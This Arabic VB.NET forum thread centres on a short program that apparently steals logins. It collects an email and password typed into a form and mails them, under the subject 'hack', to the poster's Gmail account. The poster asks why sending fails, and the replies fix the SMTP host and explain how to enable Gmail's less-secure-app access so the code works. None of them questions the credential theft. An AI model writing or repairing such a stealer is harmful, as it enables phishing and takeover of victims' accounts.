تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ارسال رسالة
#1
السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة



كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll
الرد }}}}
تم الشكر بواسطة:
#2
(18-11-14, 10:17 AM)صفاء احمد كتب : السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة




كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

هذا تبع ارسال رساله الى الاميل ؟؟؟؟؟
لحمد لله رب العالمين على كل شي
الرد }}}}
تم الشكر بواسطة:
#3

السلام عليكم ورحمة الله

أولا عندك خطأ "smtp.mail.com" والصحيح "smtp.gmail.com"

ثانياً نظراً لنظام الحماية الصارم بمنع الارسال من التطبيقات فإن كل الحلول لهذه المشكلة تتفق على الخطوات التالية:
1: قم بارسال الرسالة مع التأكد من كلمة المرور.
2: إذهب للرابط (إشعار تسجيل الدخول المحظور) وقم بتسجل الدخول إذا طلب
3: ستجد معلومات عن النشاط الذي حدث،
وستجد السؤال (هل تعرف هذا النشاط؟) وله جوابان على شكل زران:
أ:نعم إنه نشاطي!
ب:لا-تأمين الحساب

أجب بالضغط على (نعم إنه نشاطي!) بعد التأكد من المعلومات أن من قام بهذه العملية هو أنت فعلاً

4: سيظهر لك سؤال آخر (أشرت إلى أن هذا النشاط يخصك.) وله جوابان على شكل زران:
أ: موافق.
ب: تغيير الرد.

أجب بالضغط على (موافق) إذا كنت ما زلت متأكد بما تقوم به.

5: أذهب للرابط (التطبيقات الأقل أمانًا)
ستجد إعداد واحد فقط وهو (الوصول للتطبيقات الأقل أمانًا) وله خياران:
أ: تعطيل
ب: تمكين

أختر (تمكين) ثم اضغط الزر (تم)

قم يطلب منك إدخال رموز الحماية أكثر من مرة وفي كل مرة ألوانها مختلفة

الأن قم بارسال الرسالة من البرنامج مرة أخرى، وإن شاء الله تمام

حسب ما فهمت أن العملية تعملها مرة واحدة فقط



الغريب أن العملية طبقتها وقدرت أرسل رسالة واحدة فقط لكن في المرة الثانية لم تنجح،
بالرغم من من مراجعة الاعدادات ووجدتها (تمكين)،
لا أدري ما السبب !


الرد }}}}
تم الشكر بواسطة:
#4
اخي الوليد
توجد كلمة مرور للتطبيقات بعد تفعيل التحقق بخطوتين ..
أستودعكم الله الذي لا تضيع ودائعه أرجو ان تجدوا بمشاركاتي ما يجعلكم تدعون لي بخير ان تحتم غيابي.
رحمك الله أبا الليث
الرد }}}}
تم الشكر بواسطة: الوليد ☺
#5

السلام عليكم ورحمة الله

الله يسعدك أخوي سعود وييسر لك أمورك

الرد }}}}
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  ارسال بيانات عن طريق الإنترنت أسامة السالمي 7 141 22-05-17, 04:43 PM
آخر رد: Amir_alzubidy
  [VB.NET] محتاج كود ارسال مسج للفيس بوك dubai.eig 3 107 11-05-17, 01:52 AM
آخر رد: tryold
  [نقاش] ارسال رسائل whatsapp من خلال ال vb.net mohamed haroon 0 71 05-05-17, 12:03 AM
آخر رد: mohamed haroon
  ظهور رسالة خطأ في هذا الكود ahmedfa71 3 107 20-04-17, 11:37 PM
آخر رد: IBRA939
  رسالة عند فتح فورم يحتوي على تقرير تناسيم 0 70 20-04-17, 11:29 AM
آخر رد: تناسيم
  طلب كود ارسال محتوي تكست بوكس الى سيرفر fouadhdfouad 0 75 08-04-17, 10:24 PM
آخر رد: fouadhdfouad
  ارسال من اي بريد الى الفيسبوك abdulla2 2 127 13-03-17, 04:50 PM
آخر رد: Basil Abdallah
  رسالة خطأ تناسيم 0 67 13-03-17, 04:12 PM
آخر رد: تناسيم
  رسالة إيرور abdulla2 7 183 18-02-17, 11:20 PM
آخر رد: مساعدة
  رسالة لم تتم تهيئة خاصية ExecuteNonQuery عباسة 3 149 13-02-17, 10:14 AM
آخر رد: عباسة

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم